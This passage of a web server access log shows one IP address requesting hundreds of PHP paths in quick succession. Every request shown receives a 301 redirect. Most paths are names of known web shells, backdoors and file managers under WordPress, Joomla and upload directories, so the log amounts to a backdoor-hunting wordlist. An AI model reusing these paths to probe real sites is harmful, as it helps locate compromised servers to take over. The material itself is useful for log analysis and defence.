"-" 40.69.36.253 - - [16/Apr/2025:13:14:30 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:30 -0400] "GET /o1j5SBMHlRz.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:31 -0400] "GET /o7LSW.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:31 -0400] "GET /oRxHmTiQhWN.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:32 -0400] "GET /oUQD9iRdOhH.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:33 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:33 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:34 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:34 -0400] "GET /option-old.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:35 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:35 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:36 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:37 -0400] "GET /p HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:37 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:38 -0400] "GET /pHx9IqoXnlL.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:39 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:39 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:40 -0400] "GET /php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:40 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:41 -0400] "GET /php/?path=/home/jufu7693/public_html HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:42 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:42 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:43 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:43 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:44 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:45 -0400] "GET /pqyKOTiR2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:45 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:46 -0400] "GET /private/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:46 -0400] "GET /public/5.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:47 -0400] "GET /public/index.php/en HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:47 -0400] "GET /pvWDCdf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:48 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:49 -0400] "GET /q5nOTl9aAEQ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:49 -0400] "GET /qCVobSth3u7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:50 -0400] "GET /qc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:50 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:51 -0400] "GET /rO1GEuJydNZ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:52 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:52 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:53 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:53 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:54 -0400] "GET /rbh/log.ph HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:54 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:55 -0400] "GET /readme.php/wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:56 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:57 -0400] "GET /rk1W6vMJj8y.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:57 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:58 -0400] "GET /root/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:58 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:14:59 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:00 -0400] "GET /sHS.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:00 -0400] "GET /sMG.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:01 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:01 -0400] "GET /sb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:02 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:03 -0400] "GET /secure/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:04 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:04 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:05 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:06 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:07 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:08 -0400] "GET /shell.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:09 -0400] "GET /shell/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:10 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:12 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:13 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:13 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:14 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:15 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:15 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:16 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:17 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:18 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:19 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:19 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:20 -0400] "GET /simple/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:20 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:21 -0400] "GET /sitemap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:22 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:23 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:24 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:24 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:25 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:26 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:27 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:27 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:28 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:29 -0400] "GET /system//default.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:30 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:30 -0400] "GET /system_log.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:31 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:31 -0400] "GET /t4MyJ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:32 -0400] "GET /tB.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:33 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:33 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:34 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:34 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:35 -0400] "GET /templates/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:36 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:36 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:37 -0400] "GET /test.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:37 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:38 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:39 -0400] "GET /tghuGZVrERD.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:39 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:40 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:40 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:41 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:41 -0400] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:42 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:43 -0400] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:43 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:44 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:44 -0400] "GET /tkpKSqOfFIE.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:45 -0400] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:46 -0400] "GET /tqy.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:46 -0400] "GET /tsRBxmo.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:47 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:48 -0400] "GET /ty.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:48 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:49 -0400] "GET /uWjxHmRO9AM.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:50 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:50 -0400] "GET /up.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:51 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:52 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:52 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:53 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:54 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:54 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:55 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:56 -0400] "GET /uploads/.1/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:57 -0400] "GET /uploads/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:58 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:58 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:59 -0400] "GET /used HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:15:59 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:00 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:01 -0400] "GET /uvrDZ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:01 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:02 -0400] "GET /vSiY7GNIxVH.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:02 -0400] "GET /var/www/html/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:03 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:04 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:04 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:05 -0400] "GET /wcqLft7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:06 -0400] "GET /we.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:06 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:07 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:08 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:08 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:09 -0400] "GET /winamp/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:10 -0400] "GET /wkG.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:11 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:11 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:12 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:13 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:13 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:14 -0400] "GET /wp-Owl.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:15 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:15 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:16 -0400] "GET /wp-admin.phphttps://diegun.com/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:17 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:17 -0400] "GET /wp-admin//fmadmin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:18 -0400] "GET /wp-admin/31eqRsJgQ6n.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:19 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:19 -0400] "GET /wp-admin/5gTfXRhIqkW.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:20 -0400] "GET /wp-admin/7EPezNYMy84.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:21 -0400] "GET /wp-admin/8h4AoSFJCLO.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:21 -0400] "GET /wp-admin/9pX1s4oMLtC.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:22 -0400] "GET /wp-admin/AhqPecJ6oky.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:23 -0400] "GET /wp-admin/FriUsGzT5d7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:25 -0400] "GET /wp-admin/GkXRTpxowKQ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:26 -0400] "GET /wp-admin/ILNqJhgUpAG.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:26 -0400] "GET /wp-admin/LaAkNhWMyOQ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:27 -0400] "GET /wp-admin/MDO8adG9euX.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:28 -0400] "GET /wp-admin/NFBqIyOZcQL.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:28 -0400] "GET /wp-admin/O5pANR6rDXx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:29 -0400] "GET /wp-admin/RqdXEex3Jfb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:31 -0400] "GET /wp-admin/UmpVR1Ersn8.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:32 -0400] "GET /wp-admin/WvASxq1D2c8.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:33 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:33 -0400] "GET /wp-admin/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:34 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:34 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:35 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:36 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:36 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:37 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:38 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:38 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:39 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:40 -0400] "GET /wp-admin/css//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:41 -0400] "GET /wp-admin/css//forbidden.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:41 -0400] "GET /wp-admin/css//item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:42 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:42 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:43 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:44 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:44 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:45 -0400] "GET /wp-admin/css/colors//Admin-Author.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:45 -0400] "GET /wp-admin/css/colors//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:46 -0400] "GET /wp-admin/css/colors//moon.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:46 -0400] "GET /wp-admin/css/colors/aPRTXyP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:47 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:48 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:48 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:49 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:49 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:50 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:50 -0400] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:51 -0400] "GET /wp-admin/css/colors/blue/index.php/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:52 -0400] "GET /wp-admin/css/colors/blue/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:52 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:53 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:53 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:54 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:55 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:55 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:56 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:56 -0400] "GET /wp-admin/css/colors/ectoplasm//my1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:57 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:58 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:58 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:59 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:16:59 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:00 -0400] "GET /wp-admin/css/colors/light/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:01 -0400] "GET /wp-admin/css/colors/midnight/IUSPPi.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:01 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:02 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:03 -0400] "GET /wp-admin/css/colors/ocean/wp-post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:04 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:17:04 -0400] "GET 